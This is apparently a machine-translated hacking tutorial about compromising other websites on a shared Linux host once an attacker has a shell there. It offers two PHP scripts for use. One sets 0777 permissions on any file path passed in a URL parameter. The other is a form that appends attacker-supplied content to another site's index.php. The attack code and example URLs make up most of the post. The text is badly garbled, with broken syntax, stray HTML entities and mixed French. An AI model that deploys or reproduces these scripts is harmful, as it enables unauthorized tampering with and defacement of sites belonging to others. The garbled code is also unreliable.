When we have a linux shell (multiple websites on the server ).
This shell has the write permission to the root directory of the website, and can even view the directories of other websites.
Therefore, such host settings are definitely insecure.
Sometimes, we want to obtain the permissions of other sites on the same server, such as directly modifying index. php of other sites, but we find that there is no permission.
We can use the following script to add permissions to files on other sites.
Code:
<? Php
$ Path = stripslashes ($ _ GET [& apos; path & apos;]);
$ OK = chmod ($ path, 0777 );
If ($ OK = true)
Echo chmod OK, Permission editable file or directory. Permission to write;
?>
Save as chmod. PHP
Easy to use, access
Http://www.bkjia.com/chmod.php? Path = ../directory of other sites/index. php
Here, index. PHP is the file for permission modification.
Another exploit:
Save the following code as exploit. PHP
Code:
<? Php
@ $ Filename = stripslashes ($ _ POST [& apos; filename & apos;]);
@ $ Mess = stripslashes ($ _ POST [& apos; mess & apos;]);
$ Fp = @ fopen ({$ _ POST [& apos; filename & apos;]}, & apos; a & apos ;);
@ Fputs ($ fp, $ mess @ Fclose ($ fp );
?>
<Form name = form1 action = exploit. php method = post>
<P align = center> <B>
<Br>
CODE: <br>
<Textarea name = mess rows = 3> </textarea> </font> </B> </textarea>
</Font> </B> <p> <input type = hidden name = filename value = .. /.. /autre website sur le multihosting/index. php> </p>
<Center>
<Input type = reset name = Submit value = Delete>
<Input name = go type = submit value = Send onClick = javascript: this. style. visibility = & apos; hidden & apos;>
<Center>
</Form>
<Meta http-equiv = Content-Type content = text/html; charset = iso-8859-1>
<Title> Changing CHMOD Permissions Exploit-Contact: the_gl4di4t0r [AT] hotmail [DOT] com </title>
</Head>
<Body>
</Center>
</Body>